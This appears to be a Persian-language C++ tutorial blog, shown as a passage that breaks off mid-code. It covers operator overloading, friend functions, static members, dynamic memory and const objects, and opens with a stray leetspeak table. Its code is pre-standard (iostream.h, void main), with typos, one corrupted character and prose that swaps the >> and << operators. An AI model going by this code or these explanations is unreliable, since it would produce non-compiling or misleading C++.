| <= L; I
@ <= at (duh)
$ <= S
)( <= H
}{ <= H
/\/ <= N
\/\/ <= W
/\/\ <= M
|> <= P; D
|< <= K
ph <= f
z <= s
}{3 $|>34|< zSelection -> FootPrinting -> Penetration -> [Changings] -> Cleaning
نظرات ()
نظرات ()در ++C می توان عمگر های ++ و -- را گرانبار کرد. به طور کلی برای گرانبار کردن اين عملگر ها به عنوان تابع عضو به صورت زير عمل می کنيم:
نوع داده operator++() //++x
{
...
}
نوع داده operator++(int x) //x++
{
...
}
نوع داده operator--() //--x
{
...
}
نوع داده operator--(int x) //x--
{
...
}
و برای گرانبار کردن عملگرهای فوق توسط توابع دوست ، به شيوه زير آنها را تعريف می کنيم:
friend نوع داده operator++(نوع داده &op) //++x
{
...
}
friend نوع داده operator++(نوع داده &op, int x) //x++
{
...
}
friend نوع داده operator--(نوع داده &op) //--x
{
...
}
friend نوع داده operator--(نوع داده &op, int x) //x--
{
...
}
نظرات ()هنگام برنامه نويسی مواردی پيش می آيد که نياز به تبديل انواع به يکديگر داريم. مثلا هنگامی که اشيايی از کلاسهای متفاوت تعريف شده توسط کاربر را با يکديگر ترکيب شوند کامپايلر نمی داند که چگونه تبديلات لازم را انجام دهد و برنامه نويس بايد شيوه تبديل را مشخص نمايد. تبديل انواع به يکديگر را می توان توسط سازنده تبديل انجام داد. اين تابع که تک آرگومانی می باشد، می تواند اشيايی از يک کلاس را به اشيايی از کلاس ديگر تبديل کند. در واقع هر سازنده تک آرگومانی می تواند به عنوان سازنده تبديل در نظر گرفته شود.
عملگر تبديل نيز می تواند شيئی از کلاسی را به شيئی از کلاسی ديگر يا انواع اوليه تبديل نمايد. اين عملگر بايد به صورت تابع عضو تعريف شود. به دستور زير توجه نماييد:
test::operator char* () const;
دستور فوق يک يک تابع تبديل را گرانبار می نمايد. اين تابع يک شیء موقت از نوع *char را به شيئی از نوع ايجاد شده توسط کاربر با نام test تبديل می نمايد. همانطور که مشاهده می کنيد برای اين تابع نوع خروجی در نظر گرفته نشده است. در حقيقت عملگر تبديل نبايد نوع خروجی داشته باشد و نوع خروجی ، نوع شيئی می باشد که در حال تبديل است. مثلا اگر s شيئی از کلاس test در دستور بالا باشد هنگامی که کامپايلر به عبارت (char *) s برخورد می کند، فراخوانی s.operator char *() ايجاد می گردد.
myClass::operator int() const;
myClass::operator otherClass() const;
دو دستور فوق به ترتيب عملگر تبديلی برای تبديل شيئی از کلاس myClass به يک عدد صحيح و دومی عملگر تبديلی برای تبديل شيئی از کلاس myClass به شيئی از کلاس ديگری با نام otherClass تعريف می کنند.
نظرات ()به طور کلی برای گرانبار کردن يک عملگر دودويی به صورت تابع عضو ، به شيوه زير آن را تعريف می کنيم:
class نام کلاس{
public:
const نام کلاس &oprerator علامت عملگر
(const نام کلاس &);
...
}
و برای گرانبار کردن يک عملگر دودويی به صورت تابع دوست ، به شيوه زير آن را تعريف می کنيم:
class نام کلاس{
friend const نام کلاس &oprerator علامت عملگر
( نام کلاس &, const نام کلاس &);
...
}
نظرات ()به طور کلی برای گرانبار کردن يک عملگر يگانی به صورت تابع عضو ، به شيوه زير آن را تعريف می کنيم:
class نام کلاس{
public:
نوع خروجی عملگر oprerator علامت عملگر() const;
...
}
و برای گرانبار کردن يک عملگر يگانی به صورت تابع دوست ، به شيوه زير آن را تعريف می کنيم:
class نام کلاس{
friend نوع خروجی عملگر oprerator علامت عملگر
(const نام کلاس &);
...
}
نظرات ()++C قادر به دريافت داده های تعريف شده در اين زبان و ارسال آنها به خروجی می باشد و برای اينکار از عملگر های >> و << استفاده می کند. اين عملگر ها برای انواع داده ای موجود در اين زبان گرانبار شده اند. ما نيز می توانيم اين عملگر ها را برای انواع داده و کلاسهايی که خودمان ايجاد کرده ايم، گرانبار کنيم. در برنامه زير کلاسی با نام phoneNumber که شماره تلفن را در خود نگهداری می کند ايجاد شده است. در اين برنامه توسط عملگر << يک شماره تلفن از ورودی دريافت می شود و توسط عملگر >> اين شماره در صفحه نمايش چاپ می گردد. به اين برنامه توجه کنيد:
#include <iostream.h>
class PhoneNumber {
friend ostream &operator<<
( ostream&, const PhoneNumber & );
friend istream &operator>>
( istream&, PhoneNumber & );
private:
char areaCode[ 4 ]; // 3-digit area code and null
char exchange[ 4 ]; // 3-digit exchange and null
char line[ 5 ]; // 4-digit line and null
};
ostream &operator<<
( ostream &output, const PhoneNumber &num )
{
output << num.areaCode << " "
<< num.exchange << " " << num.line;
return output; // enables cout << a << b << c;
}
istream &operator>>
( istream &input, PhoneNumber &num )
{
input >> num.areaCode; // input area code
input >> num.exchange; // input exchange
input >> num.line; // input line
return input; // enables cin >> a >> b >> c;
}
int main()
{
PhoneNumber phone;
cout << "Enter phone number in the form "
<< "123 456 7890:\n";
cin >> phone;
cout << "The phone number entered was: ";
cout << phone << endl;
return 0;
}
خروجی برنامه به صورت زير می باشد :
Enter phone number in the form 123 456 7890:
021 224 5348
The phone number entered was: 021 224 5348
همانطور که در برنامه فوق می بينيد توابع عملگرهای >> و << از نوع توابع دوست تعريف شده اند. چون عملگر >> دارای يک عملوند سمت چپ از نوع ostream & می باشد مانند cout در دستور cout<<classObject و نيز عملگر << دارای يک عملوند سمت چپ از نوعistream & می باشد مانند cin در دستور cin>>classObject. همچنين اين توابع گرانبار شده بايد به اعضای داده شيئی که بايد از ورودی دريافت و در خروجی چاپ شود، دسترسی داشته باشند. به دلايل ذکر شده اين توابع از نوع توابع عملگر دوست تعريف شده اند.
تابع عملگر operator>> يک آرگومان از نوع istream با نام input و آرگومان ديگری از نوع کلاس phoneNumber با نام num در يافت می کند و خروجی تابع از نوع istream می باشد. اين تابع شماره تلفن هايی به صورت
800 555 1212
را از ورودی دريافت کرده و آنها را در شيئی از نوع کلاس phoneNumber قرار می دهد. هنگامی که کامپايلر دستور زير را می بيند:
cin>>phone;
تابع operator>> به صورت زير توليد می شود:
operator>>(cin,phone);
هنگامی که تابع فوق توليد شد، آرگومان ارجاعی input نام مستعار cin و آرگومان ارجاعی num نام مستعاری برای phone در نظر گرفته می شوند. بدين ترتيب سه رشته دريافت شده از ورودی در اعضای areacode ، exchange و line قرار می گيرند.
تابع عملگر operator<< يک آرگومان از نوع ostream با نام output و آرگومان ديگری از نوع کلاس phoneNumber با نام num در يافت می کند و خروجی تابع از نوع ostream می باشد. اين تابع شماره تلفن هايی به صورت
800 555 1212
را که شيئی از نوع کلاس phoneNumber می باشد، نمايش می دهد. هنگامی که کامپايلر دستور زير را می بيند:
cout<<phone;
تابع operator<< به صورت زير توليد می شود:
operator<<(cout,phone);
هنگامی که تابع فوق توليد شد، آرگومان ارجاعی output نام مستعار cout و آرگومان ارجاعی num نام مستعاری برای phone در نظر گرفته می شوند. بدين ترتيب سه رشته موجود در اعضای areacode ، exchange و line به شيوه مورد نظر نمايش می يابند.
نظرات ()توابع عملگر می توانند توابع عضو يا توابع غير عضو باشند، که البته توابع غير عضو معمولا به صورت توابع دوست می باشند. هنگام فراخوانی يک تابع عملگر غير عضو ، عملوند ها بايد به عنوان آرگومان به تابع فرستاده شوند.
هنگام گرانبار کردن عملگر های () ، [] و <- يا هر عملگر انتساب ديگری، تابع گرانبار کننده عملگر بايد به عنوان يک تابع عضو تعريف شود ولی برای ساير عملگرها، تابع گرانبار کننده عملگر می تواند به صورت تابع غير عضو تعريف شود.
هنگامی که يک تابع عملگر به عنوان يک تابع عضو تعريف می شود، عملوند سمت چپ بايد شيئی از کلاس عملگر باشدو اگر لازم است که عملوند سمت چپ شيئی از کلاس ديگری باشد، اين تابع عملگر بايد از نوع تابع غير عضو تعريف شود. تابع عملگر غير عضو در صورتی که بايد به يک عضو خصوصی (private) کلاس دسترسی داشته باشد، بايد از نوع توابع دوست (friend) تعريف گردد.
تابع عملگر عضو کلاس تنها هنگامی فراخوانی می شود که عملوند سمت چپ عملگر دودويی (دو عملوندی) شيئی از نوع کلاس تابع عملگر باشد و يا تنها عملوند عملگر يگانی (تک عملوندی) شيئی از نوع کلاس عملگر باشد.
دليل ديگری که ممکن است يک تابع غير عضو برای گرانبار کردن يک عملگر به کار رود اينست که بخواهيم عملگر خاصيت جابجايی داشته باشد. به عنوان مثال فرض کنيد متغيری به نام number از نوع long int داريم و شيئی با نام bigInteger1 از نوع کلاس HugeInteger (کلاسی که در آن اعداد صحيح می توانند مقادير خيلی بزرگتری نسبت به مقاديرقابل ايجاد توسط انواعی مانند long int و double داشته باشند). عملگر جمع (+) هنگام جمع يک عدد HugeInteger با يک عدد long int (مثلا در عبارت bigInteger1+number) و يا جمع يک عدد long int با يک عدد HugeInteger (مثلا در عبارت number+bigInteger1) ، شيئی موقت از نوع کلاس HugeInteger ايجاد می کند، لذا اين عملگر بايد خاصيت جابجايی داشته باشد (که معمولا عملگر جمع در عبارات محاسباتی دارای خاصيت جابجايی می باشد). در اينجا اگر عملگر جمع به صورت تابع عضو تعريف گردد، در سمت چپ آن تنها بايد شيئی از کلاس HugeInteger قرار گيرد، لذا امکان ايجاد خاصيت جابجايی در اين حالت ميسر نمی باشد، به همين دليل اين عملگر را به صورت تابع غير عضو گرانبار می کنيم تا بتوانيم خاصطت جا بجايی را به آن بدهيم.
در زير برنامه ای آورده شده است که عمل جمع و تفريق را برای نقاط صفحه مختصات انجام می دهد. در اين برنامه عملگر تفريق به صورت تابع غير عضو دوست تعريف شده است و عملگر جمع به صورت تابع عضو تعريف شده است:
#include <iostream.h>
class CVector
{
friend CVector operator- (CVector & , CVector);
public:
CVector (int =0 ,int =0 );
CVector operator+ (CVector);
void showCVector(void);
private:
int x,y;
};
CVector::CVector (int a, int b)
{
x = a;
y = b;
}
void CVector::showCVector(void)
{
cout << "("<< x << "," << y << ")";
}
CVector CVector::operator+ (CVector vector)
{
CVector temp;
temp.x = x + vector.x;
temp.y = y + vector.y;
return temp;
}
CVector operator- (CVector &v, CVector vector)
{
CVector temp;
temp.x = v.x - vector.x;
temp.y = v.y - vector.y;
return temp;
}
int main ()
{
CVector a (3,1);
CVector b (1,2);
CVector c,d;
c = a + b;
a.showCVector();
cout << "+";
b.showCVector();
cout << "=";
c.showCVector();
cout << "\n";
d = a - b;
a.showCVector();
cout << "-";
b.showCVector();
cout << "=";
d.showCVector();
return 0;
}
خروجی برنامه به صورت زير می باشد :
(3,1)+(1,2)=(4,3)
(3,1)-(1,2)=(2,-1)
نظرات ()اکثر عملگر های ++C را می توان گرانبار کرد. جدول اين عملگرها به صورت زير می باشد:
| [ ] | ( ) | -> | |
| ++ | -- | & | * |
| + | - | ~ | ! |
| ->* | / | % | << |
| >> | < | > | <= |
| >= | == | != | ^ |
| | | && | || | |
| = | *= | /= | %= |
| += | -= | <<= | >>= |
| &= | ^= | |= | , |
| new | delete | new[] | delete[] |
عملگرهايی که قابليت گرانبار شدن را ندارند، در جدول زير ذکر شده اند:
| . | .* | :: | ?: | sizeof |
نظرات ()در مباحث قبلی دیدید که برای کار با اشیای یک کلاس، شیوه فراخوانی توابع عضو را به کار بردیم. به عنوان مثال توسط یک تابع عضو، اعضای یک کلاس را مقداردهی کردیم و یا توسط تابع عضو دیگری مقدار عضو یک کلاس را نمایش دادیم. این کار برای برخی از کلاسها، خصوصا کلاسهای ریاضی دشوار می باشد. برای این کار می توان از مجموعه عملگرهای زبان C++ استفاده کرد، البته برای به کار بردن عملگرهای زبان C++ برای کلاسهایی که ما می سازیم، این عملگرها باید آماده سازی شوند. به این کار گرانبار کردن عملگرها گفته می شود. به عنوان مثال عملگرهای + یا - در زبان C++ گرانبار شده اند. این عملگرها با توجه به نوع عملوندهای خود که اعداد صحیح یا اعشاری می باشند، به شیوه متفاوتی عمل می کنند.
گرچه C++ اجازه ایجاد عملگر جدیدی را به ما نمی دهد، ولی برنامه نویسان را قادر می سازد تا اکثر عملگرهای این زبان را برای جایی که می خواهند آنها را به کار ببرند، گرانبار کنند. در حالتی که عملگری گرانبار شده باشد، با توجه به جایی که این عملگر به کار رفته، کامپایلر کد مرتبط به آن را به صورت خودکار تولید می کند. ضمنا کاری که توسط عملگرها انجام می شود، توابع نیز می توانند انجام دهند. ولی معمولا عملگرها وضوح برنامه را بیشتر می کنند.
برای گرانبار کردن يک عملگر کافی است يک تابع برای آن تعريف کنيد ، البته نام تابع بايد متشکل از کلمه operator و نماد عملگر مورد نظر باشد. به عنوان مثال نام تابعی که عملگر + را گرانبار می کند بايد +operator باشد. در برنامه زير عملگر + را برای محاسبه مجموع دو نقطه مختصات گرانبار کرده ايم:
#include <iostream.h>
class CVector
{
public:
CVector (int =0 ,int =0 );
CVector operator+ (CVector);
void showCVector(void);
private:
int x,y;
};
CVector::CVector (int a, int b)
{
x = a;
y = b;
}
CVector CVector::operator+ (CVector vector)
{
CVector temp;
temp.x = x + vector.x;
temp.y = y + vector.y;
return temp;
}
void CVector::showCVector(void)
{
cout << "("<< x << "," << y << ")";
}
int main ()
{
CVector a (3,1);
CVector b (1,2);
CVector c;
c = a + b;
a.showCVector();
cout << "+";
b.showCVector();
cout << "=";
c.showCVector();
return 0;
}
خروجی برنامه به صورت زير می باشد :
(3,1)+(1,2)=(4,3)
نظرات ()همان طور که می دانید متغیری که در یک تابع از نوع static تعریف می شد، هنگام خروج از تابع از بین نمی رفت و مقدار خود را خفظ می کرد و با فراخوانی مجدد تابع قابل دسترسی بود. در کلاسها نیز می توان اعضا را به صورت ایستا (static) تعریف کرد. چنین عضوی که به صورت ایستا تعریف می شود، برای همه اشیایی که از نوع آن کلاس تعریف می شوند، به صورت مشترک قابل دسترسی است و هنگامی که مقدار این عضو در یکی از این اشیا تغییر می کند مقدار جدید در سایر اشیا از نوع آن کلاس نیز قابل استفاده می باشد. چنین عضوی ممکن است مانند متغیر عمومی به نظر آید، اما این عضو دارای حوزه کلاس می باشد و مانند متغیر عمومی دارای حوزه فایل نیست. اعضای ایستای یک کلاس می توانند از نوع public ویا private باشند. همچنین اعضای ایستا از طریق توابع عضو کلاس و یا توابع دوست یک کلاس قابل دسترسی می باشند. ضمنا به اعضای ایستایی که به صورت عمومی تعریف شده اند، می توان مستقیما از طریق عملگر (::) دسترسی یافت.
برای آشنایی با نحوه به کار گیری اعضای ایستای کلاس و نیز مدیریت حافظه پویا به برنامه زیر توجه کنید:
#include <iostream.h>
#include <new.h>
#include <string.h>
class Employee {
public:
Employee( const char *, const char * );
~Employee();
const char *getFirstName() const;
const char *getLastName() const;
// static member function
static int getCount();
private:
char *firstName;
char *lastName;
// static data member
static int count;
};
int Employee::count = 0;
int Employee::getCount()
{
return count;
}
// constructor dynamically allocates space for
// first and last name and uses strcpy to copy
// first and last names into the object
Employee::Employee(const char *first,const char *last)
{
firstName = new char[ strlen( first ) + 1 ];
strcpy( firstName, first );
lastName = new char[ strlen( last ) + 1 ];
strcpy( lastName, last );
++count; // increment static count of employees
cout << "Employee constructor for " << firstName
<< ' ' << lastName << " called." << endl;
}
// destructor deallocates dynamically allocated memory
Employee::~Employee()
{
cout << "~Employee() called for " << firstName
<< ' ' << lastName << endl;
delete [] firstName; // recapture memory
delete [] lastName; // recapture memory
--count; // decrement static count of employees
}
const char *Employee::getFirstName() const
{
return firstName;
}
const char *Employee::getLastName() const
{
return lastName;
}
int main()
{
cout <<"Number of employees before instantiation is "
<<Employee::getCount() << endl;
Employee *e1Ptr = new Employee( "Susan", "Baker" );
Employee *e2Ptr = new Employee( "Robert", "Jones" );
cout << "Number of employees after instantiation is "
<< e1Ptr->getCount();
cout << "\n\nEmployee 1: "
<< e1Ptr->getFirstName()
<< " " << e1Ptr->getLastName()
<< "\nEmployee 2: "
<< e2Ptr->getFirstName()
<< " " << e2Ptr->getLastName() << "\n\n";
delete e1Ptr; //recapture memory
e1Ptr = 0; //disconnect pointer from free-store space
delete e2Ptr; //recapture memory
e2Ptr = 0; //disconnect pointer from free-store space
cout << "Number of employees after deletion is "
<< Employee::getCount() << endl;
return 0;
}
خروجی برنامه فوق به صورت زير می باشد:
Number of employees before instantiation is 0
Employee constructor for Susan Baker called.
Employee constructor for Robert Jones called.
Number of employees after instantiation is 2
Employee 1: Susan Baker
Employee 2: Robert Jones
~Employee() called for Susan Baker
~Employee() called for Robert Jones
Number of employees after deletion is 0
در برنامه بالا عضو داده خصوصی count و تابع عضو عمومی getCount به صورت ایستا (static) در کلاس Employee تعریف شدند، و توسط دستور زیر:
int Employee::count = 0;
عضو داده خصوصی count از کلاس Employee مقداردهی اولیه شد. count تعداد اشیای ایجاد شده از کلاس Employee را می شمارد و در خود نگهداری می کند. هر بار که یک شی جدید از نوع کلاس Employee ایجاد می شود توسط ستور count++ در سازنده کلاس count ، Employee مقدارش یک واحد افزایش می یابد و هر بار که یک شی از نوع کلاس Employee نابود می شود، توسط دستور count-- در نابود کننده کلاس count ، Employee مقدارش یک واحد کاهش می یابد.
دستورات زیر دو شی از نوع Employee را توسط عملگر new ایجاد می کنند و اشاره گر به حافظه تخصیص یافتهبه این دو شی به ترتیب در e1Ptr و e2Ptr قرار می گیرد:
Employee *e1Ptr = new Employee( "Susan", "Baker" );
Employee *e2Ptr = new Employee( "Robert", "Jones" );
همچین دستورات زیر حافظه تخصیص یافته به دو شی از نوع کلاس Employee را آزاد می سازند:
delete e1Ptr; //recapture memory
e1Ptr = 0; //disconnect pointer from free-store space
delete e2Ptr; //recapture memory
e2Ptr = 0; //disconnect pointer from free-store space
توجه داشته باشید، هنگامی که هنوز شیئی از نوع کلاس Employee ساخته نشده است ولی اعضای getCount و count از این کلاس موجود می باشد و می توان به مقدار count از طریق تابع عضو getCount دسترسی پیدا کرد در برنامه فوق دستور زیر این کار را انجام می دهد:
Employee::getCount()
نظرات ()++c برنامه نویسان را قادر می سازد تا تخصیص حافظه و یا آزادسازی حافظه را برای هر نوع داده ای در برنامه مدیریت و کنترل کنند. این قابلیت، مدیریت حافظه پویا نامیده می شود و توسط عملگرهای new و delete صورت می پذیرد. دو عملگر مذکور در فایل new.h قرار دارند. لذا برای به کارگیری این دو عملگر باید از دستور #include <new.h> در برنامه استفاده کنیم. دستورات زیر را در نظر بگیرید:
Time *timePtr;
timePtr = new Time;
عملگر new در دستورات فوق شیئی را با اندازه داده ای از نوع Time می سازد و سازنده این شیء را فراخوانی کرده و یک اشاره گر از نوع داده قرار گرفته در سمت راست عملگر new برمی گرداند. توجه داشته باشید که عملگر new برای هر نوع داده ای (مانند double و int و ...) و یا کلاسها می تواند به کار رود. اگر new نتواند فضای خالی برای شیء در حافظه بیابد، یک اشاره گر0 را باز می گرداند. برای نابودسازی شیئی که به صورت پویا برای آن حافظه تخصیص داده شده، از عملگر delete به صورت زیر استفاده می کنیم:
delete timePtr;
دستور فوق ابتدا نابودکننده شیء را که timePtr به آن اشاره می کند، فراخوانی کرده؛ سپس حافظه اختصاص داده شده به شیء را آزاد می سازد و حافظه برای تخصیص به شیء دیگری آماده می شود.
++c اجازه مقداردهی اولیه را همزمان با تخصیص حافظه پویا به یک شیء می دهد. به دستور زیر توجه کنید:
double *ptr=new double(3.14159);
دستور فوق حافظه تخصیص داده شده به داده ای از نوع double را با 3.14159 مقداردهی می کندو اشاره گر به آن را در Ptr قرار می دهد. روش مشابه دستور فوق می تواند برای آرگومانهای تابع سازنده یک شیء به کار رود. به دستور زیر توجه کنید:
Time *timePtr= new Time(12,0,0);
دستور فوق حافظه تخصیص داده شده به شیئی از نوع کلاس Time را با 12 ظهر مقداردهی کرده و اشاره گر با آن را در timePtr قرار می دهد.
عملگر new امکان تخصیص حافظه پویا برای آرایه ها را نیز فراهم می سازد. به عنوان مثال برای یک آرایه 10 عنصری از نوع عدد صحیح توسط دستور زیر حافظه پویا تخصیص می یابد:
int *gradesArray=new int[10];
در دستور فوق اشاره گر به اولین عنصر در حافظه پویای تخصیص یافته به آرایه 10 عنصری از نوع عدد صحیح در اشاره گر gradesArray قرار می گیرد.
برای آزادسازی حافظه تخصیص داده شده به آرایه ها از دستور زیر می توان استفاده کرد:
delete [] gradesArray;
نکته: توجه داشته باشید که برای آزادسازی خانه های حافظه تخصیص یافته به یک آرایه از [] delete استفاده نمایید و delete را به تنهایی به کار نبرید.
نظرات ()در ++C کلمه کليدی this همراه با کلاس ها وجود دارد. هر شیء از طريق اشاره گری به نام this به آدرس خود دسترسی دارد. از اين اشاره گر می توان برای بررسی اينکه آيا آرگومان ارسال شده به تابع عضو يک شیء، خود شیء می باشد يا خير ، استفاده کرد. به برنامه زير توجه نماييد:
#include <iostream.h>
class CDummy {
public:
int isitme (CDummy& param);
};
int CDummy::isitme (CDummy& param)
{
if (¶m == this) return 1;
else return 0;
}
int main () {
CDummy a;
CDummy* b = &a;
if ( b->isitme(a) )
cout << "yes, &a is b";
return 0;
}
خروجی برنامه فوق به صورت زير می باشد:
yes, &a is b
نظرات ()تابع دوست يک کلاس در خارج از حوزه آن کلاس تعريف می شود اما همچنان به اعضای غير عمومی آن کلاس دسترسی دارد. توابع تنها (توابعی که عضو کلاسی نمی باشند) و يا توابع عضو يک کلاس می توانند به عنوان دوست کلاس ديگری تعريف گردند. برای تعريف يک تابع به عنوان دوست يک کلاس، پيش تعريف تابع را در آن کلاس به همراه کلمه friend می آوريم.
class Count{
friend void setX(Count & , int);
int x;
}
در دستور فوق تابع setX به عنوان دوست کلاس Count در نظر گرفته می شود. برای اينکه تمام توابع عضو کلاسی با نام classTwo به عنوان توابع دوست کلاس ديگری با نام classOne در نظر گرفته شوند. دستور زير را در تعريف کلاس classOne می آوريم:
friend class classTwo;
در برنامه زير تابع setX به عنوان دوست کلاس Count در نظر گرفته شده است لذا اجازه دستيابی به عضو داده x از کلاس Count را دارا می باشد. ضمنا بهتر است که توابع دوست در ابتدای تعريف اعضای کلاس ، تعريف گردند.
#include <iostream.h>
class Count {
friend void setX( Count &, int );
public:
Count(): x( 0 ) // initialize x to 0
{
// empty body
}
void print() const
{
cout << x << endl;
}
private:
int x;
};
void setX( Count &c, int val )
{
c.x = val; // legal: setX is a friend of Count
}
void main()
{
Count counter;
cout << "counter.x after instantiation: ";
counter.print();
setX( counter, 8 ); // set x with a friend
cout << "counter.x after call"
<<"to setX friend function: ";
counter.print();
}
خروجی برنامه فوق به صورت زير می باشد:
counter.x after instantiation: 0
counter.x after call to setX friend function: 8
در برنامه فوق توابع عضو کلاس Count در داخل کلاس تعريف شده اند. همچنين عضو داده خصوصی x ، توسط دستور زير با عدد 0 مقدار دهی اوليه شده است.
Count(): x( 0 )
نظرات ()شيء AlarmClock (زنگ ساعت) بايد بداند که چه وقت به صدا در آيد، پس بهتر است شيئی از نوع Time را به عنوان يکی از اعضای خود داشته باشد. چنين قابليتی در کلاس ها ترکيب ناميده می شود. يعنی يک کلاس می تواند کلاس يا کلاسهای ديگری را به عنوان يکی از اعضای خود داشته باشد.
با روش ارسال آرگومانها به تابع سازنده هنگام ايجاد شیء آشنا می باشيم. در اين مبحث روش ارسال آرگومان به تابع سازنده شیء عضو کلاس و مقدار دهی اوليه به آن را بررسی می کنيم. برای آشنايی با اين روش به برنامه زير توجه کنيد:
#include <iostream.h>
#include <string.h>
class Date {
public:
Date( int = 1, int = 1, int = 1900 );
void print() const;
~Date();
private:
int month; // 1-12 (January-December)
int day; // 1-31 based on month
int year; // any year
int checkDay( int ) const;
};
Date::Date( int mn, int dy, int yr )
{
if ( mn > 0 && mn <= 12 )
month = mn;
else {
month = 1;
cout << "Month " << mn
<< " invalid. Set to month 1.\n";
}
year = yr;
day = checkDay( dy );
cout << "Date object constructor for date ";
print();
cout << endl;
}
void Date::print() const
{
cout << month << '/' << day << '/' << year;
}
Date::~Date()
{
cout << "Date object destructor for date ";
print();
cout << endl;
}
int Date::checkDay( int testDay ) const
{
static const int daysPerMonth[ 13 ] =
{ 0,31,28,31,30,31,30,31,31,30,31,30,31 };
if ( testDay > 0 && testDay <= daysPerMonth[ month ] )
return testDay;
if ( month == 2 && testDay == 29 &&
( year % 400 == 0 ||
( year % 4 == 0 && year % 100 != 0 ) ) )
return testDay;
cout << "Day " << testDay
<< " invalid. Set to day 1.\n";
return 1;
}
class Employee {
public:
Employee(const char *, const char *,
const Date &, const Date & );
void print() const;
~Employee();
private:
char firstName[ 25 ];
char lastName[ 25 ];
const Date birthDate; //composition: member object
const Date hireDate; //composition: member object
};
Employee::Employee(const char *first, const char *last,
const Date &dateOfBirth, const Date &dateOfHire )
: birthDate( dateOfBirth ),
hireDate( dateOfHire )
{
int length = strlen( first );
length = ( length < 25 ? length : 24 );
strncpy( firstName, first, length );
firstName[ length ] = '\0';
length = strlen( last );
length = ( length < 25 ? length : 24 );
strncpy( lastName, last, length );
lastName[ length ] = '\0';
cout << "Employee object constructor: "
<< firstName << ' ' << lastName << endl;
}
void Employee::print() const
{
cout << lastName << ", " << firstName << "\nHired: ";
hireDate.print();
cout << " Birth date: ";
birthDate.print();
cout << endl;
}
Employee::~Employee()
{
cout << "Employee object destructor: "
<< lastName << ", " << firstName << endl;
}
int main()
{
Date birth( 7, 24, 1949 );
Date hire( 3, 12, 1988 );
Employee manager( "Bob", "Jones", birth, hire );
cout << '\n';
manager.print();
cout << "\nTest Date constructor "
<<"with invalid values:\n";
Date lastDayOff(14,35,1994); //invalid month and day
cout << endl;
return 0;
}
خروجی برنامه فوق به صورت زير می باشد:
Date object constructor for date 7/24/1949
Date object constructor for date 3/12/1988
Employee object constructor: Bob Jones
Jones, Bob
Hired: 3/12/1988 Birth date: 7/24/1949
Test Date constructor with invalid values:
Month 14 invalid. Set to month 1.
Day 35 invalid. Set to day 1.
Date object constructor for date 1/1/1994
Date object destructor for date 1/1/1994
Employee object destructor: Jones, Bob
Date object destructor for date 3/12/1988
Date object destructor for date 7/24/1949
Date object destructor for date 3/12/1988
Date object destructor for date 7/24/1949
در برنامه فوق دو کلاس Date و Employee ايجاد شده است. کلاس Employee دارای چهار عضو داده خصوصی به نامهای firstName و lastName و birthDate و hireDate می باشد. اعضای birthDate و hireDate خود اشياء ثابتی از نوع کلاس Date می باشند که دارای اعضای داده خصوصی month و day و year هستند. تعريف تابع سازنده کلاس Employee مشخص می کند که سازنده چهار آرگومان fname و lname و dateOfBirth و dateOfHire را دريافت می کند. دو آرگومان اول اعضای firstName و lastName را مقدار دهی می کنند. دو آرگومان بعدی يعنی dateOfBirth و dateOfHire توسط birthDate و hireDate که اشيايی از نوع کلاس Date می باشند به سازنده های اين اشياء ارسال می گردند و اين دو شیء را مقدار دهی اوليه می کنند.
Employee::Employee(const char *first, const char *last,
const Date &dateOfBirth, const Date &dateOfHire )
: birthDate( dateOfBirth ),
hireDate( dateOfHire )
همانطور که در دستور فوق می بينيد بعد از ليست آرگومانها علامت ( : ) قرار گرفته است و بعد از آن نام دو شیء عضو کلاس Employee که از نوع کلاس Date می باشند، قرار دارد. اين روش برای مقدار دهی اوليه به اشياء عضو يک کلاس از طريق آرگومانهای کلاس اصلی، مورد استفاده قرار می گيرد.
نکته:تابع عضو print از کلاس Date ، در تابع سازنده اين کلاس بدون هيچ آرگومانی فراخوانی شده است. اين کار در ++C بسيار مرسوم است. در اينجا در تابع print مشخص شده است که کدام يک از اعضای کلاس بايد چاپ شود، و نيازی به دريافت آرگومان ندارد.
نظرات ()همانطور که می دانيد کلمه const از تغيير بر روی متغيری که بعد از اين کلمه قرار می گيرد جلوگيری می کند. برای ايجاد يک شیء ثابت و غير قابل تغييرنيز می توان از const استفاده کرد.
const Time noon(12, 0, 0);
دستور فوق شيء ثابتی از نوع Time با نام noon ايجاد می کند و با 12 ظهر آنرا مقدار دهی می کند که اين مقدار قابل تغيير نمی باشد.
کامپايلر ++C اجازه فراخوانی توابع عضو را برای اشياء ثابت نمی دهد مگر اينکه توابع عضو نيز خودشان به صورت const تعريف شده باشند. برای اينکه تابع عضوی به صورت const تعريف شود، بايد هم در پيش تعريف تابع و هم در تعريف تابع از کلمه const بعد از ليست آرگومان های تابع استفاده کنيم.
int Time::getHour() const
{
return hour;
}
دستور فوق تابع عضو getHour از کلاس Time را به صورت ثابت تعريف می کند.
نکته:
تابع عضوی که يک عضو داده از شيئی را تغيير می دهد، اگر به صورت ثابت تعريف شود، باعث وقوع خطا می گردد.
تابع عضوی که تابع عضو غير ثابت ديگری را فراخوانی می کند، اگر به صورت ثابت تعريف شود، باعث وقوع خطا می گردد.
فراخوانی يک تابع عضو غير ثابت از شيئی که به صورت ثابت تعريف شده است، باعث ايجاد خطا می گردد.
يک تابع عضو غير ثابت را می توان با نسخه غير ثابتی از آن گرانبار نمود. اينکه کدام تابع عضو گرانبار شده فراخوانی شود، توسط کامپايلر و بر اساس ثابت بودن يا نبودن شیء تعيين می گردد.
توجه داشته باشيد از آنجا که سازنده ها و نابود کننده ها نياز به تغيير اشياء دارند نبايد آنها را به صورت ثابت تعريف نمود و اگر کلمه const برای آنها به کار رود و به صورت ثابت تعريفشان کنيم يک پيغام خطا دريافت خواهيم کرد.
سازنده ها در اشياء ثابت می توانند تابع عضو غير ثابتی را فراخوانی کنند.
در برنامه زير دو شیء نوع Time ايجاد شده اند که يکی ثابت و ديگری غير ثابت می باشد. در اين برنامه تابع عضو setHour و تابع عضو printStandard که به صورت توابع عضو غير ثابت می باشند، هنگام فراخوانی همانطور که در نکته 2 ذکر شد باعث وقوع خطا می گردند. برنامه زير نکات گفته شده در اين مبحث را روشن می سازد:
#include <iostream.h>
class Time {
public:
Time( int = 0, int = 0, int = 0);
void setTime( int, int, int );
void setHour( int );
void setMinute( int );
void setSecond( int );
int getHour() const;
int getMinute() const;
int getSecond() const;
void printUniversal() const;
void printStandard();
private:
int hour; // 0 - 23 (24-hour clock format)
int minute; // 0 - 59
int second; // 0 - 59
}
Time::Time( int hour, int minute, int second )
{
setTime( hour, minute, second );
}
void Time::setTime( int hour, int minute, int second )
{
setHour( hour );
setMinute( minute );
setSecond( second );
}
void Time::setHour( int h )
{
